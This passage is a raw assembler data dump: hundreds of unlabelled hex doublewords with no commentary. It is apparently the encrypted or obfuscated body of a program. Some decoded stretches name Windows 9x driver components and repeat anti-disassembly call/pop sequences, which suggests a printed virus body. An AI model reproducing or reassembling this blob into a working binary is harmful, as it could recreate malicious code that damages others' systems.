		dd 0B7F77D4Ah, 0F5BD4E20h, 0F8C6A283h, 83BDD98Bh, 1839A024h
		dd 5EC7F950h, 0AD1C43E6h, 11887BABh, 0F1785h, 12CA3800h
		dd 0A32185BBh, 10CC340Ah, 0A21A87B9h, 11D3350Bh, 0AA929AB8h
		dd 1F21883Ch, 0AB953CA8h, 132D8438h, 0DF9B32B2h, 3C7524BBh
		dd 56C2E9h, 6ED64FB2h, 959D780Ah, 44F5CF73h, 3AAB950Ch
		dd 690D138Ah, 0EA73F157h, 2EF883CBh, 49E064C1h,	0F444077Fh
		dd 312C01h, 379E0000h, 0E976129Bh, 0CF74C1ABh, 264A90E2h
		dd 3B10ACCEh, 48BD831Ah, 81BF2583h, 1839A024h, 35AE9039h
		dd 0C050168Fh, 0B08E1175h, 11C93022h, 4F2B9930h, 4B728D7h
		dd 0C5C93094h, 526CC5E4h, 74EB72F2h, 0C93094CCh, 1E7AE241h
		dd 56E4DA6Ch, 4901FFC2h, 830AA6E0h, 821578E7h, 7756CF77h
		dd 31E87713h, 9AC2E977h, 0F397F3BBh, 71E854CDh,	0BA261850h
		dd 4719AB02h, 274A7DFh,	13414h,	9D37A600h, 8A15A210h, 0C93093CCh
		dd 1570C2E3h, 681F0AA7h, 8A86721Ah, 3E41C30h, 0DBCCBE31h
		dd 0BC0E4676h, 77139C37h, 97DDA49h, 0C2E3C25Bh,	80327A5Bh
		dd 9BB2B15h, 37E65441h,	0E0D144A0h, 169D7CFFh, 8AAB32AAh
		dd 31388AABh, 0A7EF4783h, 423004F4h, 0D33E7696h, 7A2A62DAh
		dd 34h,	139C37C8h, 0CC8A15A1h, 0FDC93093h, 0CA580C8Fh
		dd 0C6B4A72Dh, 4667C0B5h, 0A6C2E393h, 469E5DC2h, 0E2FC930h
		dd 0A715F446h, 0DB69D34Fh, 28E5F143h, 57000000h, 0A1139C37h
		dd 93CC8A15h, 0C2E3C930h, 15711570h, 3093CF8Ah,	46D9F8C9h
		dd 0C9309493h, 395D1534h, 69D34F8Bh, 15F143DBh,	9D1C3167h
		dd 1A523CE9h, 0F3BEC82Ch, 306D04h, 37DF0000h, 15A517A0h
		dd 6ED64F71h, 19ED6F7h,	0C9309457h, 15E55776h, 6DD74FA7h
		dd 15F143DFh, 0DD42BD2Bh, 0C930941Eh, 0E7AF8EAFh, 3273h
		dd 0A037C100h, 8A15A517h, 0C93093CCh, 611887E3h, 6AC93094h
		dd 15D86A4Bh, 0D34CBB2Bh, 0C9309428h, 0E9A180A1h, 0D74F3F8Dh
		dd 2743DF6Dh, 0AC35AF19h, 0E577C58Dh, 0FFFFFEC3h, 15711557h
		dd 3093CF8Ah, 46D9F8C9h, 0C9309493h, 1B5D1534h,	3E5A3E77h
		dd 0C78D4D4Ch, 5A7BE25Ah, 802E5D28h, 0E52457C8h, 84A5CF76h
		dd 0FF65DEE0h, 0C9563256h, 0C2E8E412h, 0E48336A9h, 6544C2E8h
		dd 3C7A3213h, 0E6791D98h, 0C2E8E433h, 9547B886h, 50CFABDDh
		dd 0C2E8E4A9h, 22D94622h, 0ABC2E8E4h, 138AAB8Ah, 0E8E3CF8Ch
		dd 6CB6CDC2h, 0C87CEBD5h, 0FF4EB680h, 2CE7FBACh, 83000000h
		dd 0ECC178E7h, 340AC2E8h, 793110CCh, 0BA2B15CBh, 9429D04Fh
		dd 83A2C930h, 521A3BA2h, 30940ACDh, 0D292F3C9h,	0D2EF7Bh
		dd 375D0000h, 2B990D9Bh, 0FF16E0Ah, 4ECF7498h, 0CE350B6Fh
		dd 71501471h, 16BB2B15h, 8E1736AEh, 0A554CBAFh,	26C2EC91h
		dd 0D8E64F07h, 7229B669h, 5BC2EC91h, 84C25B7Ah,	0FBC5A1ECh
		dd 0F591D98Bh, 33D9276Ah, 891672C9h, 0C92D4FD2h, 0E492DAFBh
		dd 0A1C5A1C5h, 509F5AC5h, 928C92Dh, 2D4FE396h, 8DC5E4C9h
		dd 45EC50B3h, 0CD54087Bh, 0CAAEE78Bh, 47A0F1B8h, 2E93942Fh
		dd 83E7AF8Eh, 74460D1Ch, 9BFFDECFh, 2D8440A5h, 0B92DB213h
		dd 0D7B3920Bh, 0EBC19148h, 3A1B3AC2h, 0ABE5BA9Fh, 0C357CE7Bh
		dd 0BC4h, 14BD1F85h, 0A30ABA2Ah, 1EB7259Dh, 0B41DBF20h
		dd 1A81C8Ah, 0A503F923h, 3DA8963Fh, 0B1102E87h,	279CA20Bh
		dd 345014BDh, 0E938F0ABh, 3D8FD9C2h, 0CE336715h, 0DC24A7A3h
		dd 8B39AA94h, 0DB72C12h, 25F18A94h, 40E95BC8h, 0F43B0E76h
		dd 6A2701h, 31430000h, 5B87EB43h, 2290D8D1h, 76129B37h
		dd 93CE8D12h, 0DEFFC930h, 0CF6DF296h, 3ECF74A2h, 0B821A300h
		dd 0B762FD99h, 10C2EC86h, 0B7891031h, 13F964Eh,	191A73A4h
		dd 0FD8F3590h, 87E1FE55h, 446544DDh, 0C83F0165h, 1EBE221Ch
		dd 77EEA687h, 7014A131h, 3080F1EFh, 0B92642C9h,	0C9308002h
		dd 6FD4EACBh, 54D6CF5h,	49FB5273h, 9BB2B15h, 5D077F41h
		dd 94B96BF4h, 0E958C930h, 0F49CDA73h, 7FE3DDB9h, 6EF195DDh
		dd 0CF77DC0Ah, 0B6441B69h, 7D6596DAh, 6624335h,	0BD14C838h
		dd 0A7DF470Fh, 8F140274h, 70000001h, 93D08B14h,	0B1FDC9B0h
		dd 777189FDh, 0D7A584F2h, 3C0058F6h, 75C78FDCh,	0A2109D37h
		dd 2BEE7115h, 9CC93094h, 0E91F5BDh, 0C9309448h,	1C224667h
		dd 82A33AAAh, 711578CAh, 30942BEEh, 0F5BD9CC9h,	57CBF591h
		dd 0A1FADE5h, 9C37BE1Fh, 0F8057713h, 0A65E228Eh, 8636AB95h
		dd 0D6647CCEh, 0F7E6715h, 2FABB968h, 196BA1BEh,	5018ACB7h
		dd 84367F16h, 0EF478331h, 404F4A7h, 58h, 7CE85E60h, 3FA0C4E5h
		dd 0CC30947Ch, 96246C4Dh, 0A1139C37h, 93CC8A15h, 0DCFDC930h
		dd 15A7156Eh, 99B42D67h, 1260549Fh, 535DB7D7h, 0CAF4BC80h
		dd 4354E656h, 1DDC4327h, 0AEC93094h, 0E575C78Fh, 56h, 9C48BF81h
		dd 15C73B05h, 0FE8CAD8Ch, 4B5A817Ah, 48FAB2DCh,	2BEE7115h
		dd 8EC93094h, 30946A11h, 344263C9h, 781B5D15h, 13F5B3Fh
		dd 0F8A33CA0h, 0D1C93093h, 150AB8F0h, 3093CC8Ah, 70C2E3C9h
		dd 35D06715h, 0C5AAAB3Eh, 5B7AE361h, 0E456327Ah, 0DB69D34Fh
		dd 0EF47F143h, 404F4A7h, 45h, 17A037B6h, 0BC2B15A5h, 0BB244008h
		dd 0C93093FDh, 0DF85E0DEh, 1A85E197h, 0C930945Fh, 0DA684968h
		dd 2B157115h, 0E19807BDh, 0EAC93093h, 4F3183CBh, 6D096DD7h
		dd 309447F2h, 0E9A180C9h, 0E5F1435Bh, 24h, 17A03757h, 0CC8A15A5h
		dd 0E3C93093h, 0A71570C2h, 96DD74Fh, 8811CB37h,	7F22DBA9h
		dd 70DFD5B4h, 0F1438A38h, 0FFFE68E5h, 9B3757FFh, 0B2E97612h
		dd 1BCF77DBh, 0EB2C5E3Ah, 90AAE507h, 0D1EF8BC3h, 1F59F074h
		dd 0C55A3E77h, 0C2E94716h, 6B0F96B7h, 0E871F355h, 5D1E81C9h
		dd 5FC2E947h, 0B115FA24h, 42FBAD62h, 1Ch, 9427EEF0h, 0B48AC930h
		dd 2D0C954Fh, 65EA5B65h, 0E6C75EFEh, 0D0FA6EC7h, 48000000h
		dd 0D4116715h, 50BA27FDh, 0D64FF56Eh, 59F9BFF7h, 1F86B8DCh
		dd 0ED89EDA5h, 6BF272D3h, 0B39D024Ah, 32CF7401h, 0DA497713h
		dd 0CBAFCB62h, 0EBFFA554h, 4F0726C2h, 33AA1271h, 8A15DD75h
		dd 0C2EBFECFh, 58039CF8h, 71C2EBFFh, 34507150h,	33466CABh
		dd 187C5DC9h, 58E2E46Ah, 0D29AFA37h, 0A31988B6h, 950A6E0Ah
		dd 0C92D3CE6h, 0B08EC6E7h, 3472EB51h, 1175119Ch, 2D3CCB8Eh
		dd 9043F8C9h, 6F4CB695h, 14703819h, 7481808Bh, 0C6849CFh
		dd 0BA13D132h, 0A51F84h, 7BAB292Bh, 4550C45Dh, 6000008h
		dd 0B789209Ch, 23C954Fh, 0A9973E9Eh, 132D8438h,	84A60FB5h
		dd 9E46A09Ch, 269E0937h, 0EA52B18Fh, 5C087D43h,	4AD5B1F5h
		dd 0C2E9358Fh, 15DC6E38h, 4E06B62Bh, 0C8511370h, 0A457C8ACh
		dd 25C93094h, 11724C04h, 93D28916h, 0DAFBC930h,	77C62FBh
		dd 1FC53E1Bh, 0F9A0D2B6h, 0D419DF44h, 4DD488F9h, 33054D6Ch
		dd 1F4A6D3h, 4660h, 9B37D200h, 0ABE97612h, 0E2CF74B5h
		dd 5A3E5AC3h, 0EC7316C5h, 1C89B7C2h, 5EC189A8h,	0C2EC7397h
		dd 0D9400460h, 59C07CE7h, 7CD05A21h, 71D6403Bh,	0FBB09315h
		dd 0B06FD4EAh, 0EC806C2Fh, 5D7C5DC2h, 864515h, 37F70000h
		dd 1276129Bh, 3093CE8Dh, 904CB7C9h, 605E2809h, 377F5E06h
		dd 0B18ECC53h
		dd 1E3FCF74h, 8991E387h, 232F897Ch, 5DC6F8B0h, 4CD587F8h
		dd 81E54C6Dh, 0B55271F3h, 6E261CADh, 0F56EF350h, 80A4D64Fh
		dd 318668C8h, 0B0290829h, 0B7D35AF6h, 5BF01989h, 0AC769D63h
		dd 0D2B6FEDFh, 3005634Dh, 7A82F0C9h, 1260A289h,	8438A997h
		dd 1F84BACCh, 1984CBAh,	0FC980120h, 2FB9B863h, 113011C9h
		dd 0FC6A5430h, 1BA90048h, 0EFCE6715h, 0A5C92238h, 0DB585EEDh
		dd 0A49AFE37h, 0AFCB8341h, 74436E30h, 0EA8EAFCFh, 3E6A118Eh
		dd 4263C2ECh, 1159037Ch, 88AECE51h, 832F8362h, 0C3F16E0Ah
		dd 0E80942A5h, 0BAF26AD6h, 3274EDCCh, 173179Eh,	0BC4DBCADh
		dd 96D2580h, 0FE7D4496h, 0C0A4850Eh, 29803BA4h,	684902FEh
		dd 97A4420h, 0F296F25Bh, 0FE29AE6Dh, 3E1F02h, 48763EA6h
		dd 0EA6F3ADBh, 0F2DC79C5h, 0FB4776D3h, 64FDBBDDh, 687F0h
		dd 62DA4800h, 0D391F5CBh, 60DC447Ah, 0D28AF7C9h, 61E3457Bh
		dd 0DA42EAC8h, 6F51F86Ch, 0DBE54CF8h, 635DF468h, 0AFEB4202h
		dd 33A554CBh, 7026C2E9h, 71D64FC2h, 178EAF15h, 0AA03B929h
		dd 0ADC944ECh, 0C48C3093h, 0DBF83FA0h, 0A9DBCF77h, 0DB11DF21h
		dd 32440C18h, 894E6740h, 31AE790Ah, 0C2E8EC8Ah,	62436243h
		dd 0FF5DC5FBh, 0A89E5D5Ah, 0A632AB7Bh, 614h, 0C46DCF35h
		dd 73DA8AFAh, 0CE67D54Dh, 842D8FF0h, 31984CBAh,	0B5130913h
		dd 2D98A60Fh, 0C1201EB7h, 178CB21Bh, 244004ADh,	0E93300BBh
		dd 2D9FC9C2h, 76129B37h, 9A36D748h, 0E5DA6ADAh,	98B92001h
		dd 0E82BB4D0h, 21CF76EFh, 1D3CA81Fh, 9646BA84h,	0A89D3E33h
		dd 47D34A7Bh, 5B8h, 18B12B99h, 0AF06BE26h, 228B3191h, 9039A31Ch
		dd 258C38AEh, 0C93F1D07h, 198CB21Bh, 0C53C02ABh, 2380BE17h
		dd 284C08A1h, 0E93304B7h, 2193C5C2h, 76129B37h,	77DBA6E9h
		dd 68D9E7CFh, 284C6DF4h, 0E94D04B7h, 0C5E4C5C2h, 0B9239FA1h
		dd 0EA5668F1h, 71C4D772h, 0A1387BA8h, 55B35h, 56067C00h
		dd 0FF65C1FFh, 44F86856h, 0CE6ED3EDh, 75EF5967h, 0C636FEDCh
		dd 734DE460h, 0C7F95014h, 7749E05Ch, 0BBFF560Eh, 329940DFh
		dd 6432C2E9h, 71D64FD6h, 9252B217h, 920B2A0Bh, 350B92B3h
		dd 0C68D14D0h, 1F8471BDh, 8A923AF6h, 3D1C0A95h,	9439AA94h
		dd 829B02Ch, 94C9407Ah,	0EECF4794h, 0B62D1377h,	27D14E06h
		dd 88C9307Ah, 59CA27F3h, 5FFD8FEBh, 6596BBE6h, 1215493Bh
		dd 3200B9C5h, 0D3B7D37Ah, 306B8D4Ch, 571F3EC9h,	50348111h
		dd 0CCF5034h, 0BDC9306Bh, 0FC4BD49Ch, 4DCF77B2h, 0CD36086Ch
		dd 88177317h, 0C2E925D1h, 81E5DBFAh, 337B5AC3h,	0D98CFE9Ah
		dd 0F3017BAh, 0CD6FD3EDh, 9A4ABB85h, 0E9596703h, 83CBEA73h
		dd 84E02DC5h, 300D9F1Bh, 0A1023CC9h, 3C1D6B23h,	0E7CB2A58h
		dd 0AD50DC41h, 46BF81E5h, 5DC4FA9Eh, 0F4766FFh,	0B92B98A6h
		dd 7326B9DDh, 54C93000h, 0C0A43D75h, 42DB81FEh,	0C56D2B63h
		dd 0FFE7920Dh, 4E4C92Fh, 4621EC2Ah, 3A1B3A4Ch, 5417C15Eh
		dd 0D2B6CF74h, 0EC548E4Dh, 7B22DC2h, 0C0C2EC54h, 97B697E1h
		dd 0AB762B32h, 5CC8517Bh, 420h,	0B019C321h, 7AE168Eh, 0BA13C939h
		dd 8A11B84h, 0BD14D036h, 41A7959Fh, 0B1142A83h,	3DA49A33h
		dd 9B08369Fh, 0A0C48029h, 0E9317C3Fh, 0A91B4DC2h, 8BC2B15h
		dd 5A12CA36h, 2145FF64h, 0D000953h, 0E07FAFB1h,	0C9302E39h
		dd 0DA92B392h, 5C087D43h, 961FB3F5h, 4F776DF2h,	0FAC4CF74h
		dd 303D8A8Bh, 592ABCF7h, 78463078h, 0EBCA5309h,	93753CAh
		dd 5755719Ah, 2DFC995h,	2084BA23h, 3D1C3DA4h, 962BEA75h
		dd 0D6ADC2EBh, 0B17FE74Ch, 27B4FBAFh, 6000000h,	76129B37h
		dd 749F53E9h, 29BBACFh,	76EE5866h, 1986CEEFh, 0C2EC895Eh
		dd 14F9255Eh, 0FBB0A8B0h, 11D45h, 0D64FF700h, 5FC9F76Eh
		dd 0B2D686FAh, 30946E2Dh, 5F7E5FC9h, 0D98BF8C6h, 2874CFBDh
		dd 3E31AAB2h, 4C3E1FC5h, 40BBD57Dh, 148DC509h, 0A20BB92Ah
		dd 3084BD3Dh, 61E340C9h, 0E85F6105h, 8438E37Ch,	0B091C930h
		dd 84904BD4h, 1839C930h, 5EC7F950h, 99397FE6h, 0A53CA003h
		dd 0A5C1A584h, 231A13D7h, 651750E2h, 1E6CAC86h,	9E014976h
		dd 0CF73D600h, 8978EDD3h, 0EBD26316h, 644564C2h, 0E294DCFDh
		dd 2999A7C3h, 430B2AB3h, 8904ACEAh, 7B7972EDh, 93B2C932h
		dd 4D0C93F7h, 7EC92E2Ah, 1773175Fh, 2A2DEC73h, 0BF9EC92Eh
		dd 2A9544DBh, 1736C92Eh, 5D07615Fh, 0ADE54B39h,	0C65B8519h
		dd 4AD389F8h, 0EE8A236Bh, 54CD6FD0h, 0A5033D75h, 0E5759A3Fh
		dd 1A837DEDh, 28F8Eh, 0EA52B000h, 5B097D43h, 0E854CCF2h
		dd 5A027F41h, 0E95BCDF3h, 42BA6240h, 0F7C960E4h, 437DD490h
		dd 0EBD57CE0h, 2763CA7Ah, 301DDC43h, 0F8AEC2E9h, 6BD94F4Ah
		dd 2D98A6C2h, 64C1FFB7h, 132D49E0h, 0B4950CB0h,	71154EFCh
		dd 30942BEEh, 0F5BD9CC9h, 8FC51FB3h, 0E813BE7h,	7D432706h
		dd 3655B09h, 0F26D0941h, 0CF740C68h, 918D3A1h, 0C320741Eh
		dd 31E47BE2h, 0A3C2EC53h, 7DE94ED8h, 0B6FBB072h, 0BFh
		dd 6ED64F04h, 50E193F7h, 0AA82B2C7h, 0F96F5119h, 0CD4DD24Bh
		dd 30C92FB1h, 0DCB811D3h, 0A4C084E2h, 2FB1803Bh, 206849C9h
		dd 0A63FA51Eh, 0A1C550E0h, 73D3A03Eh, 0E95F61CFh, 0D940FC64h
		dd 6140D9F8h, 3AFE940h,	2BB23295h, 13D1340Ah, 0EE8AAB8Ah
		dd 32791D71h, 0BA2250C9h, 0A77C2295h, 48761233h, 4C0D35DEh
		dd 6FC471D5h, 2DAB49F0h, 82A382C9h, 506E0AA3h, 3D034BF1h
		dd 49BC19CBh, 0FF7DEDDEh, 186F266h, 0DD470000h,	7CE8D67Fh
		dd 0E35F61C8h, 71EED079h, 0EA5C62CBh, 27F1D37Ah, 0B811D335h
		dd 0CA51F86h, 0C46DCF32h, 72DB89FAh, 0ECD5236h,	0BFC2E92Eh
		dd 0D94F5BE9h, 87FCC26Bh, 4FC674DDh, 0AA1271D6h, 0B72C128Bh
		dd 0F057690Dh, 84CCED74h, 4EC76B2Dh, 8F87582Ah,	6426D699h
		dd 0A6CBCA5Dh, 622A0B85h, 615B9906h, 0B392CF74h, 1F02B52Ah
		dd 89F2C2ECh, 3A4CB89Dh, 27E9FBB0h, 5B000000h, 76129B37h
		dd 74C50FE9h, 0C65F7ECFh, 0EC649E59h, 0B9651EC2h, 0B083F054h
		dd 920F31FBh, 0DA92B32Ah, 138Ah, 28EE3800h, 0A9C93094h
		dd 77E88C09h, 0CF74BDFDh, 6B41D3Ch, 76129B37h, 74C33FE9h
		dd 0CBAF8ECFh, 658930AFh, 6342C2ECh, 0E8D6B22Bh, 7C5DC478h
		dd 64ECAB34h, 3195C2ECh, 0AD142AB3h, 87FC960Fh,	9DE6A19Bh
		dd 8038AC91h, 27FDFBB0h, 4F000000h, 7BD2B15h, 9425D04Fh
		dd 0C6B4C930h, 0C8E73B35h, 580C7A1Eh, 0DB773179h, 2BA93652h
		dd 0E2CF74BAh, 0DBFA6ADCh, 9B37C072h, 2C127612h, 0DF4008B4h
		dd 0CF77DC30h, 370990B1h, 259F09CEh, 3293AD04h,	8EB42BB2h
		dd 72323713h, 0B3406416h, 6DF8CAA8h, 3ED3A01Fh,	9DD525A6h
		dd 66DF3CE6h, 45DC80E1h, 0D2EC4564h, 0A997F371h, 0B6F0823Ah
		dd 0E8D57ABBh, 93AD347Ch, 6F178E2Eh, 0B82D0A14h, 2A9BA50Ch
		dd 0A7ACDEBAh, 0BE892175h, 3F9D043Ah, 56CF87A6h, 3C2h
		dd 0FB497000h, 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h
		dd 0F960E442h, 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h
		dd 5E5456EDh, 4C681h, 0EE830000h, 24348704h, 0E089505Ch
		dd 405h, 4E88300h, 5C240487h, 51240C89h, 0C181E189h, 4
		dd 4E981h, 0C870000h, 4895C24h,	4EC8124h, 89000000h, 96B82404h
		dd 57D0C46h, 893B025Dh,	6858C189h, 7654h, 81242489h, 42404h
		dd 56580000h, 70895E51h
		dd 34FF5E08h, 0C4835824h, 2434FF04h, 4C48159h, 0E9000000h
		dd 0FFFD16EAh, 0B929317Ch, 0FEA30378h, 0B8A744D9h, 64767B3h
		dd 0E0FFC503h, 65510918h, 7FAC0485h, 0CC475DDh,	11D11AAAh
		dd 63794BBCh, 3C63C12Ch, 53774C71h, 70D32DC1h, 5DE1AF73h
		dd 77AE13A1h, 61D2D5A9h, 3B584EDAh, 31C91A9Dh, 794F50A0h
		dd 0FFD1E07h, 4E72EE00h, 6EF63A03h, 103789EBh, 842203Ah
		dd 7E4052F5h, 4AA4EA12h, 0CE8h,	6A2ED200h, 0FD8B5E77h
		dd 8749BB4Dh, 0CBBF0F11h, 0CE958h, 61CA0000h, 0A3BD6879h
		dd 61808C50h, 0C08138D7h, 7087h, 0D74FBB66h, 0BAh, 10E900h
		dd 0F0C20000h, 7D309FB3h, 0BAE18B82h, 4CCD5DD1h, 348B9AC4h
		dd 0BE910h, 4C0C0000h, 39036E15h, 0C250B991h, 21EE8147h
		dd 604735E7h, 0AE9h, 94E50200h,	56BDED60h, 0FBD42ACh, 8161F0B7h
		dd 0CA9F63F6h, 81D88A1Ah, 7DFD7FC6h, 0B8666002h, 840FB243h
		dd 6, 800Fh, 56610000h,	11E9h, 9133D800h, 789D6293h, 7B58BD27h
		dd 1AFB118Dh, 48FF351h,	0BBC38010h, 4991CB81h, 0EA811AA1h
		dd 21568E18h, 13E9h, 98231300h,	66BF1E88h, 0BED0E10h, 8F5ED315h
		dd 1BC7544Bh, 8E14C281h, 0B70F2156h, 60FA81CAh,	0FFFFF90h
		dd 0FFFF5D85h, 0DA8B66FFh, 464934EBh, 52474D53h, 4B562020h
		dd 20202044h, 4D562020h, 2020204Dh, 57562020h, 32334E49h
		dd 58562020h, 52444C44h, 2020h,	2 dup(0)
		dd 0C2E90000h, 0FC000007h, 51006A60h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 3AEDF738h
		dd 662D25E7h, 0ABF6056h, 803125C2h, 0E961CCD6h,	0Bh, 0C62B6CC6h
		dd 0B1C1BF6Fh, 6050F725h, 162BCF81h, 0FE902F6h,	0F0000000h
		dd 92C12E0Bh, 0C58E9AA1h, 25CE921Ch, 0C761409Eh, 4769B085h
		dd 6, 5E900h, 11F00000h, 8B8A4060h, 51006AC6h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0DE4CBF84h
		dd 2746B000h, 7830FABh,	0F000000h, 18Dh, 0B70FF800h, 55006AD8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0AF7E5FF0h, 1800FBFh, 0F8000000h, 0E910E8C1h, 0Eh, 2C32F777h
		dd 15E3498Fh, 3C00DDBh,	0C1664F2Bh, 6A08C8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 21974FC3h
		dd 0C68160DBh, 7008457Ch, 486D50B9h, 6E96163h, 41000000h
		dd 8BB95A52h, 0B48589B6h, 6A064769h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 7949C355h
		dd 699DED40h, 0F600255h, 6661C8BFh, 6A08CBC1h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 9290C355h, 38FFA8DAh, 0F969A9BEh, 3840F60h, 80000000h
		dd 0C18B8CD0h, 81666061h, 0FA668D8h, 8361C6B7h,	850F40FBh
		dd 4Ch,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
		dd 4C35141h, 0DAEA4A0Ch, 0A1EEC590h, 0BD8DF59Eh, 6476988h
		dd 0D38A60F8h, 47C9BB66h, 19EE961h, 890F0000h, 0Ch, 6820Fh
		dd 850F0000h, 0
		dd 0F0DFB83h, 5F85h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0ACE899F5h, 0FC60E96Ch
		dd 970F57BBh, 0BD8D612Ah, 6476990h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 63C35242h, 9F3C2C19h, 0F82F86C3h
		dd 12BE9h, 27B86000h, 610B1138h, 0F01FB83h, 8785h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 1AAD7FDAh, 8885D5D3h, 0FE9h,	9F5E6300h, 2DBFAB35h, 59481168h
		dd 16A136ECh, 6998BD8Dh, 6A0647h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0BDE9EBC3h, 0E9000000h
		dd 9, 278B586Dh, 0ED0B85D6h, 158C0FC6h,	0F000000h, 0F83h
		dd 0AE900h, 6CBE0000h, 0C337E483h, 51DEFF5Eh, 0F2AFB83h
		dd 5785h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 7C6AE5C0h, 5E98104h, 0CC000000h
		dd 4F78755Bh, 0A0BD8DF5h, 0F8064769h, 53E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0DB6FE2FCh, 0F27FB83h, 32985h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 16B1C06Bh
		dd 8F8D61h, 0A8BD8DF5h,	0F9064769h, 69B8BD89h, 53600647h
		dd 0F5FCF8Bh, 585h, 0AF3EB900h,	66611385h, 6AC88Ch, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0BAA86FC3h, 0E96D19C2h, 0Eh,	0CFE07DEEh, 8E1FE852h
		dd 0B6B44FF0h, 8F0F6BA8h, 18h, 13E9h, 0FCA6EA00h, 6F4DE913h
		dd 5C6DF03Ch, 26410D42h, 0F75F3FEBh, 0AF90324h,	0F6850FC0h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0CDAAC351h, 62FBF9E3h,	0F51F62B5h
		dd 70A1B58Dh, 6A0647h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0CE512FC3h, 0BA40B02Ah, 0FC2642Ah
		dd 0E8Bh, 9E900h, 0B6BB0000h, 0EFD92B85h, 8B017E79h, 47712085h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0F74CE53h, 4D4E0BD0h, 6092F98Eh,	0F616060h
		dd 81h,	8B666100h, 0F5061DFh, 0E80h, 0F525000h,	8Eh, 60310F00h
		dd 92585A61h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	49C35545h, 0F1186DDh, 0FE244C01h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 13C35646h, 23A279CBh
		dd 8A0F5E99h, 1, 840F5AF5h, 1, 24C283F9h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 59C35545h, 19205129h
		dd 0FCD9D6B3h, 7830Fh, 890F0000h, 1, 728966FCh,	0D8C0FFCh
		dd 0E9000000h, 8, 0E0C46238h, 55F2B08Ch, 6A10CEC1h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0DDDC352h, 57FFAD02h, 66D81B68h, 6A027289h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0D4EC353h, 45ABCBF5h, 0A890Fh, 5E90000h, 87000000h
		dd 82FAC0CEh, 6A04CDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 6C7F93C3h, 6E9h,	68A79600h, 6082AF4Bh
		dd 0E9F38B66h, 0Ah, 514ADDE5h, 6C57E343h, 0E9610CEAh, 50h
		dd 20858BF8h, 60064771h, 0B9516EB3h, 5C91F075h,	8DF5615Fh
		dd 4770A1B5h, 0E9516006h, 0Ah, 43BDC82Ch, 7A89FD2Fh, 0B55813D2h
		dd 8060617Eh, 8F0F7BCEh, 2, 8D61EE8Ah, 4740A285h, 0D0FFFC06h
		dd 6601B260h, 6061FB8Bh, 6105DB80h, 69B08589h, 6A0647h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0D94EDFC3h, 5DF728B4h, 6E90F43h, 0EB000000h,	7A079A60h
		dd 8E9A0h, 8C120000h, 898B6A4Ah, 0E961C4A8h, 12h, 19419603h
		dd 0CAAA1B62h, 17249DF6h, 62828A8Fh, 858B3776h,	64769B0h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0BCC35141h
		dd 0CA7F4104h, 50006AC3h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 801BB06Bh, 0D551A426h
		dd 0EE9h, 0CD410200h, 0D2F13D88h, 1E8B4198h, 604CA258h
		dd 8EEF8060h, 1850F61h,	0F8000000h, 7120BD83h, 0F000647h
		dd 4985h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0C7CC2327h, 47712085h, 1013F06h
		dd 840FF500h, 1Ah, 14880Fh, 0FE90000h, 0A0000000h, 231C79Ah
		dd 934B8C69h, 4526539Ch, 15E9E972h, 0E9000000h,	10h, 34B88320h
		dd 0C05C0BAEh, 4509F078h, 0F1D1066Bh, 20CDh, 0C00B0000h
		dd 708D3774h, 0B8BD8B0Ch, 0B9064769h, 8, 492275A6h, 488BFA75h
		dd 0B49D8B30h, 3B064769h, 157F3458h, 0D26BD38Bh, 8BCA0304h
		dd 0B0858901h, 0EB064769h, 0EB008B04h, 858B61C5h, 64769B0h
		dd 860FF8CFh, 0Eh, 9E9h, 57255100h, 0EA2990CEh,	840F4CA7h
		dd 1, 0E8C08BF9h, 10h, 0B7D1B450h, 0BCAFA577h, 0DEC6E863h
		dd 0AA46FD5Ah, 9FADBA66h, 8B0575Fh, 85C7815Ah, 0BB000065h
		dd 48B35D40h, 4406EB81h, 665148B3h, 58526DBEh, 81660F8Bh
		dd 8165FFDEh, 0FD9D43C1h, 14E961h, 908E0000h, 5F710269h
		dd 8D607489h, 0EC3FC298h, 84429DDCh, 0F1819629h, 4FD06B49h
